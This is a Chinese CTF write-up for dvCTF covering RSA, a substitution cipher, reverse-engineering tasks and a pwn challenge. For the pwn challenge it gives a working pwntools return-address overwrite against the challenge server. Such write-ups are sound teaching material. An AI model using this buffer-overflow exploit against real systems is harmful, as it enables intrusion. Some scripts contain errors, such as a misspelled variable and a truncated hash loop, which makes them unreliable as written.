Start
0x01 Crypto-Bootless RSA
{"N": 148818474926605063920889194160313225216327492347368329952620222220173505969004341728021623813340175402441807560635794342531823708335067243413446678485411066531733814714571491348985375389581214154895499404668547123130986872208497176485731000235899479072455273651103419116166704826517589143262273754343465721499, "e": 3, "ct": 4207289555943423943347752283361812551010483368240079114775648492647342981294466041851391508960558500182259304840957212211627194015260673748342757900843998300352612100260598133752360374373}
给了n,c,e,e很小,c明显也比n小,这种直接解密开方就行了:
import binascii
import gmpy2
n = 0xd3ecaed74ca7754aeb3c061fdc37734718934c377cbc5322541174fa0d67e87bbf5a35bbf87f920d118c1ccb8520a24e738295d49ec2aed4953b2daeb9fee091c7b9dd3a5d06b65b98697bd37ffb9b483a05aa54a4b08a5d830c91c465f16e450ea93d987948ca745fe7bc6f67c6af6cf372a08a17717a25b347fcf31eb69e9b
e = 0x3
ct = 0xf78a311629a1355acbae0139cb1273e1d1131410a2ee583c650ed0b186829f8653ed9dc1e85775f2cb21661e9cd7d3c0463330b50ddbfa25e21dee262cb0e6d1294cfc3555944de3a3e69ac9065
m = gmpy2.iroot(ct, 3)[0]
flag = binascii.unhexlify(hex(m)[2:].strip("L")).decode()
# dvCTF{RS4_m0dul0_inf1nity}
0x02 Crypto-Substitution
weXGU{xi1kg3w_x1ks3i}
根据前缀得到:
weXGU -> dvCTF
第三段开头:
Gsviv ziv z
替换掉G得到T:
Tsviv ziv z
根据词频,刚好可以对上:
There are a
flag:
weXGU{xi1kg3w_x1ks3i}
dvCTF{xr1kg3d_x1kh3r}
现在还剩x
、k
和g
还没找到替换
找找词频,一篇文章中常见的3个字母组成的单词的有the
找到gsv
,这里明显可以得到一个规律,就是这里字母的位置是替换的,s
替换成i
,i
就替换成s
所以这个gsv
明显就是the
这里g->t
,看到大写的G->T
,猜测大小写替换规律一样,所以X->C
,那么x->c
flag:
weXGU{xi1kg3w_x1ks3i}
dvCTF{cr1kt3d_c1kh3r}
最后这个k,看到flag后一个单词:
c1kh3r
将数字转换成对应的字母:
cikher
猜测k应该替换成p,得到:
cipher
最终flag:
dvCTF{cr1pt3d_c1ph3r}
0x03 PWN-Kanagawa
nc challs.dvc.tf 4444
main函数,很明显fgets
的位置存在栈溢出:
这里的fgets
函数需要注意一下,fgets
函数的定义:
char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
只读取了44
个字符:
看到s
和v4
的定义,v4
的定义长度就是1024
,fgets
读取的时候限制就是1024
,所以这个位置没有溢出,而s
的定义长度40
,fgets
可以读取44
个字符,多出来的4
个字符,刚好溢出一个返回地址的长度(该程序是32位的):
这里直接有system('cat /flag')
,在recovery_mode
中被调用,直接将返回地址覆盖为recovery_mode
的地址即可
pwn脚本:
from pwn import *
r = remote('challs.dvc.tf','4444')
elf = ELF('kanagawa')
return_addr = elf.symbols['recovery_mode']
payload = b'a'*40 + p32(return_addr)
r.sendline(payload)
r.interactive()
0x04 rocca_pia
整体流程:
transform
,判断奇偶,分别异或,最终与PASSWD
对比:
python脚本:
encrypt = [0x77, 0x41, 0x50, 0x63, 0x55, 0x4C, 0x5A, 0x68, 0x7F, 6, 0x78, 4, 0x4C, 0x44, 0x64, 6, 0x7E, 0x5A, 0x22, 0x59, 0x74, 0x4A]
flag = ''
for i in range(len(encrypt)):
if i & 1:
flag += chr(encrypt[i] ^ 0x37)
else:
flag += chr(encrypt[i] ^ 0x13)
# dvCTF{I_l1k3_sw1mm1ng}
由于该题已知加密后的字符串的长度,所以也可以用Angr:
import angr
import claripy
encrypt = [0x77, 0x41, 0x50, 0x63, 0x55, 0x4C, 0x5A, 0x68, 0x7F, 6, 0x78, 4, 0x4C, 0x44, 0x64, 6, 0x7E, 0x5A, 0x22, 0x59, 0x74, 0x4A]
porject = angr.Project('rocca_pia')
flag = claripy.BVS('flag', len(encrypt)*8)
state = project.factory.entry_state(args=['rocca_pia', flag])
simgr = project.factory.simgr(state)
simgr.explore(find=0x401286, avoid=0x401294)
flag = simgr.found[0].solver.eval(flag, cast_to=bytes).decode()
print(flag)
0x05 crackme
整体流程显而易见:
加密后的flag
放在s2
中,最终与d2862c3379cbf547d317b3b1771a4fb6
比较,加密过程在emmdee5
中:
先是将flag hash
一下,放入v5
,在调用esrever
对v5
进行处理:
这里v7指向flag_hash,第一个循环将v7指向hash的最后一个字符,v6指向的是MD5后的第一个字节,这里就是将第一个和最后一个进行交换,最后通过sprintf格式化输出成,d2862c3379cbf547d317b3b1771a4fb6
注意这个位置:
for ( i = 0; i <= 15; ++i )
sprintf((char *)(a2 + 2 * i), "%02x", *((unsigned __int8 *)v5 + i));
这里只循环了16次,每次格式化02x
,注意v5转换成的类型是int8所以,每次交换v5应该是以字节进行首尾交换的
python脚本:
res = 'd2862c3379cbf547d317b3b1771a4fb6'
i = len(res) - 2
flag_hash = ''
while i > 0:
flag_hash += res[i:i+2]
i -= 2
print(flag_hash)
# b64f1a77b1b317d347f5cb79332c86
# 在线md5解hash即可
# 741852963